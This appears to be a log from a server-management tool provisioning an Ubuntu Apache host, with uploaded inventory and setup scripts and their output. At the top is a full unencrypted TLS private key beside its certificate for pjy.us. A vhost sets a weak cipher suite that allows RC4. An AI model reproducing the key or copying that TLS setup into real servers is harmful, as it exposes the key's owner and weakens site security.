59:ae:74:2f:3b:97:b6:9b:34:7a:ef:c4:5a:5d:42:72

-----BEGIN CERTIFICATE-----
MIIE9TCCA92gAwIBAgISBaWoD3fJMRiDSkiHxDHseuF5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI3MDUwMTUyWhcNMjYwMTI1MDUwMTUxWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDhQ6RfnI4G
TNDlI5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZq
r99jfIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1B
DBByWdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQ
uesaQhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7O
yINJL/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/o
R3pw5OFiMpZxAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYw
FAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFEuC
41Et+PNj/z+HhoJssnJqPbIGMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg++tzp
DNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5pLmxl
bmNyLm9yZy8wGwYDVR0RBBQwEoIIKi5wankudXOCBnBqeS51czATBgNVHSAEDDAK
MAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzEyMi5jcmwwggEGBgorBgEEAdZ5AgQCBIH3BIH0APIAdwBJnJtp3h187Pw2
3s2HZKa4W68Kh4AZ0VVS++nrKd34wwAAAZokQN/rAAAEAwBIMEYCIQCXbia/RQGs
gly1egQvpc9jD4UCSxbRujX3LrxOgChD6QIhANXJ0F/0eVurEFxzZS9+vgVd5gOY
D69sFfrRKbectJbkAHcAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDLFMMUWOcA
AAGaJEDf+QAABAMASDBGAiEA7d4kkN1ZWVa4bMh11M3wzST6GsTpe/tbjyfdOsMx
83UCIQDy9MTiAX+/V50ydi6/B2b/vvjd/FJLoc9B2E+Bio0SKDANBgkqhkiG9w0B
AQsFAAOCAQEAecrW1oP2hgBbN9R+KrsnrIgPIYmrYuXa6v19S5UoQpTkvXVPV62j
TEwOIDCjWSqxG0QQQ3Zh9oPvWI2JMhNHccfCzUmn1OhOagTghzTEDQohuP/fVFwz
3fLJtLBUo+0gTxzgdXyw61cxDsPRFFuN4Ogiwuaxk/7H7MUJNYMFzcB3i3s+dhdS
mg5IOCLklaIHfFhvC1rBGBakEoh1jMgDfDRNmPHUt0NPRNJ+7Fy9kKAoBEjNlxh4
k3Tolz47rCbWawsbTGQOLMew/9OS3EOKcwcpPT83zwflT8qtRj4T1115t/infjZz
OVtXru3disDuvJL1pVtEVv4z+5UJuyBxlQ==
-----END CERTIFICATE-----

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhQ6RfnI4GTNDl
I5m47yUAAKw+MS/HZkyC3udKmODwcJs6SuSsyci26/chmVAiMEFe/WkwxTZqr99j
fIYyE52DU5sahmIMAJ2M7nlFxcyEQZiQC9Uzw9l8/C8bYwxga3ROnNzxu/1BDBBy
WdCPm+WiIFU3j+t38dbEixds2DUtkCeSRuqqZO3djYMKpHVCaXrN7noLYVcQuesa
QhmpbLnC114f6qvUJ0YYyC6ScDhRhKoC68eReIXf0GD6bL1RncIKjlwV3H7OyINJ
L/kY6RRVLPGMcbUofd8dFRvijVsKfqLEHrWpqqSuECDMPyKxYWdZYwyHVq/oR3pw
5OFiMpZxAgMBAAECggEBAML2OUBrDdzUBQQcgMI3cC2FZ43YIkMQ/e1SoJnGoQBY
ZXDZOvt1FRuENHrG5zz/yMQ+zRjhxswldVD0iGy032G3LYmSfy9mJPXBvAIwRGa/
IxygsSDBQ+3Rka/BVQfqWFpllzA9BN6UY3Ok2kZApklgdIDHNgO0sq2euGKC6duI
xV55kHE1bGkMi8ODqkTZxa3z+6ulQrT46hkHXEbvzYyaRIckQnGNg4egy2na+GWA
PkjjOcMhv2gikO812gTsRPGc3mALvpQ1LyuE5TNbqyf+h8HDjhzUIwQ1nQEpy/wl
7FaGhXWzCEpt/pi3txxzzN1bF8aeEOaUDmeMIqUrGuUCgYEA+DYjWJMChsHegBUf
QUyY5rdVWHhOJwJ9OBkvYBZuu164Zq2+kgr28mcks72TP8qcM5f4+Ag6BUESpWDN
E6AI2MtorY+ErdDCv5YLc7DtXcLoHATFatzHuvuHuYVM9lW1kRHAIaVhUMuL9dUK
D+XyOvJVK9QmOpT2iHX8AeECtmcCgYEA6FUrsezAjo1rY6uSeR2QOaSAwsvl4H0/
mLJBRh4cQNo3oZwdkdh2SHNZS0/1LLLmqIBhQyEv8KVNut60nNc8KWwOOd+4Qjj/
xzCd/m4BLlV1NFgutSkPxZfwNiAuxdClhSCcx+RP1f9KuzCpFH2suFwh1cUfFY3u
TVzzN3s9VWcCgYEAqVYOATSyaYtEJ+/BFgSS3/w9npDdCKIbGbWc65oCS5RQi8SH
Gg2e8jtJ/9Ia7k9lB5HryhOaudDuTqNe5b+tqXIEZTxfkVG2O4y7HV+cYPZC8jKT
GNes77UAoKH/oqNQrrsEcC/q13s2bi28oqIHAw4m6zLeLeNI2kpb9lAzUIsCgYBN
9LYSn2QE8QLFkL43EWphTQc/VXcumhgKvlUUl+nXAOGFwoJRe5ZEvR+LG6sicmze
wSThh3M0heLM/wkPT1EKfQ1Q8fY7kjCQv4lj47lVuKr5A1W4x6xZGqApKSdIjLfd
MZIpqDv5jA2hPbSeAYVA3vkjZ18EtnjtUHDzftCXpQKBgBuk3Fwmr0a42/Rf6VqU
5L3zXBgiWv306otvDcY+MyVtRGmkJQW2wWxCFXUzVnQ0Rr13NzWW81B5pH2jaDSW
ijOAfjGUDWT+3EvZiilh84d+A+x/FLxgcA7BoYzqVp/mh9u0HFHv5Gk/T4HZxThn
phYWdW+BIkRu8/l+JoXnunRZ
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQS6hSk/eaL6JzBkuoBI110DANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDPV+XmxFQS7bRH/sknWHZGUCiMHT6I3wWd1bUYKb3dtVq/+vbOo76vACFL
YlpaPAEvxVgD9on/jhFD68G14BQHlo9vH9fnuoE5CXVlt8KvGFs3Jijno/QHK20a
/6tYvJWuQP/py1fEtVt/eA0YYbwX51TGu0mRzW4Y0YCF7qZlNrx06rxQTOr8IfM4
FpOUurDTazgGzRYSespSdcitdrLCnF2YRVxvYXvGLe48E1KGAdlX5jgc3421H5KR
mudKHMxFqHJV8LDmowfs/acbZp4/SItxhHFYyTr6717yW0QrPHTnj7JHwQdqzZq3
DZb3EoEmUVQK7GH29/Xi8orIlQ2NAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBS7vMNHpeS8qcbDpHIMEI2iNeHI6DAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAkrHnQTfreZ2B5s3iJeE6IOmQRJWjgVzPw139vaBw1bGWKCIL0vIo
zwzn1OZDjCQiHcFCktEJr59L9MhwTyAWsVrdAfYf+B9haxQnsHKNY67u4s5Lzzfd
u6PUzeetUK29v+PsPmI2cJkxp+iN3epi4hKu9ZzUPSwMqtCceb7qPVxEbpYxY1p9
1n5PJKBLBX9eb9LU6l8zSxPWV7bK3lG4XaMJgnT9x3ies7msFtpKK5bDtotij/l0
GaKeA97pb5uwD9KgWvaFXMIEt8jVTjLEvwRdvCn294GPDF08U8lAkIv7tghluaQh
1QnlE4SEN4LOECj8dsIGJXpGUk3aU3KkJz9icKy+aUgA+2cP21uh6NcDIS3XyfaZ
QjmDQ993ChII8SXWupQZVBiIpcWO4RqZk3lr7Bz5MUCwzDIA359e57SSq5CCkY0N
4B6Vulk7LktfwrdGNVI5BsC9qqxSwSKgRJeZ9wygIaehbHFHFhcBaMDKpiZlBHyz
rsnnlFXCb5s8HKn5LsUgGvB24L7sGNZP2CX7dhHov+YhD+jozLW2p9W4959Bz2Ei
RmqDtmiXLnzqTpXbI+suyCsohKRg6Un0RC47+cpiVwHiXZAW+cn8eiNIjqbVgXLx
KPpdzvvtTnOPlC7SQZSYmdunr3Bf9b77AiC/ZidstK36dRILKz7OA54=
-----END CERTIFICATE-----



----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/default-ssl.conf	4573
<VirtualHost *:443>
	ServerAdmin webmaster@localhost

	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

	#   SSL Engine Switch:
	#   Enable/Disable SSL for this virtual host.
	SSLEngine on

	#   A self-signed (snakeoil) certificate can be created by installing
	#   the ssl-cert package. See
	#   /usr/share/doc/apache2/README.Debian.gz for more info.
	#   If both key and certificate are stored in the same file, only the
	#   SSLCertificateFile directive is needed.
	SSLCertificateFile      /etc/ssl/certs/ssl-cert-snakeoil.pem
	SSLCertificateKeyFile   /etc/ssl/private/ssl-cert-snakeoil.key

	#   Server Certificate Chain:
	#   Point SSLCertificateChainFile at a file containing the
	#   concatenation of PEM encoded CA certificates which form the
	#   certificate chain for the server certificate. Alternatively
	#   the referenced file can be the same as SSLCertificateFile
	#   when the CA certificates are directly appended to the server
	#   certificate for convinience.
	#SSLCertificateChainFile /etc/apache2/ssl.crt/server-ca.crt

	#   Certificate Authority (CA):
	#   Set the CA certificate verification path where to find CA
	#   certificates for client authentication or alternatively one
	#   huge file containing all of them (file must be PEM encoded)
	#   Note: Inside SSLCACertificatePath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCACertificatePath /etc/ssl/certs/
	#SSLCACertificateFile /etc/apache2/ssl.crt/ca-bundle.crt

	#   Certificate Revocation Lists (CRL):
	#   Set the CA revocation path where to find CA CRLs for client
	#   authentication or alternatively one huge file containing all
	#   of them (file must be PEM encoded)
	#   Note: Inside SSLCARevocationPath you need hash symlinks
	#         to point to the certificate files. Use the provided
	#         Makefile to update the hash symlinks after changes.
	#SSLCARevocationPath /etc/apache2/ssl.crl/
	#SSLCARevocationFile /etc/apache2/ssl.crl/ca-bundle.crl

	#   Client Authentication (Type):
	#   Client certificate verification type and depth.  Types are
	#   none, optional, require and optional_no_ca.  Depth is a
	#   number which specifies how deeply to verify the certificate
	#   issuer chain before deciding the certificate is not valid.
	#SSLVerifyClient require
	#SSLVerifyDepth  10

	#   SSL Engine Options:
	#   Set various options for the SSL engine.
	#   o FakeBasicAuth:
	#    Translate the client X.509 into a Basic Authorisation.  This means that
	#    the standard Auth/DBMAuth methods can be used for access control.  The
	#    user name is the `one line' version of the client's X.509 certificate.
	#    Note that no password is obtained from the user. Every entry in the user
	#    file needs this password: `xxj31ZMTZzkVA'.
	#   o ExportCertData:
	#    This exports two additional environment variables: SSL_CLIENT_CERT and
	#    SSL_SERVER_CERT. These contain the PEM-encoded certificates of the
	#    server (always existing) and the client (only existing when client
	#    authentication is used). This can be used to import the certificates
	#    into CGI scripts.
	#   o StdEnvVars:
	#    This exports the standard SSL/TLS related `SSL_*' environment variables.
	#    Per default this exportation is switched off for performance reasons,
	#    because the extraction step is an expensive operation and is usually
	#    useless for serving static content. So one usually enables the
	#    exportation for CGI and SSI requests only.
	#   o OptRenegotiate:
	#    This enables optimized SSL connection renegotiation handling when SSL
	#    directives are used in per-directory context.
	#SSLOptions +FakeBasicAuth +ExportCertData +StrictRequire
	<FilesMatch "\.(?:cgi|shtml|phtml|php)$">
		SSLOptions +StdEnvVars
	</FilesMatch>
	<Directory /usr/lib/cgi-bin>
		SSLOptions +StdEnvVars
	</Directory>
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_site.conf	1300

<VirtualHost *:80>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.site
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    SSLCertificateChainFile	/etc/ssl/certs/8b681b324e20018bd65d7ce40680da56.chain.crt
</VirtualHost>







2025-12-23 20:31:42: Establishing a remote connection
2025-12-23 20:31:43: 

PUT: /tmp/pkp184761

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2025-12-23 20:31:43: 

chmod 755 /tmp/pkp184761; /tmp/pkp184761; rm /tmp/pkp184761

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.3 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.3 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.3 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority
/swapfile                               file		2097148		0		-2

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
desktop

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-90-generic



2025-12-23 20:31:44: 

PUT: /tmp/pkp964515

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2025-12-23 20:31:44: 

chmod 755 /tmp/pkp964515; /tmp/pkp964515; rm /tmp/pkp964515



[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2025-08-11T11:10:09
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 1725
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root        1725  0.0  0.3 225896 28944 ?        Ss   15:25   0:00 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2025-12-23 20:31:45: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'desktop',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.3 LTS',
  'rel' => '24.04.3',
  'mac' => 0,
  'distro' => 'ubuntu',
  'swapfile' => '/swapfile',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'mime_module',
      22 => 'mpm_prefork_module',
      23 => 'negotiation_module',
      24 => 'php_module',
      25 => 'reqtimeout_module',
      26 => 'rewrite_module',
      27 => 'setenvif_module',
      28 => 'socache_shmcb_module',
      29 => 'ssl_module',
      30 => 'status_module',
    ),
  ),
)


2025-12-23 20:31:45: 

PUT: /tmp/pkp832348

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2025-12-23 20:31:45: 

chmod 755 /tmp/pkp832348; /tmp/pkp832348; rm /tmp/pkp832348

(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)



2025-12-23 20:31:47: 

PUT: /tmp/pkp634845

#!/bin/bash
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi



2025-12-23 20:31:47: 

chmod 755 /tmp/pkp634845; /tmp/pkp634845; rm /tmp/pkp634845



[php8.1]
php=/usr/bin/php8.1
fpm=
version=8.1.34


2025-12-23 20:31:48: 

PUT: /tmp/pkp251055

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-12-23 20:31:48: 

chmod 755 /tmp/pkp251055; /tmp/pkp251055; rm /tmp/pkp251055

(gzipped output)




2025-12-23 20:31:49: 

PUT: /tmp/pkp398111

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		service apache2 restart
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		service apache2 restart
	fi
	echo status=ok
fi



2025-12-23 20:31:49: 

chmod 755 /tmp/pkp398111; /tmp/pkp398111; rm /tmp/pkp398111



status=ok


2025-12-23 20:31:50: 

PUT: /tmp/pkp423559

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

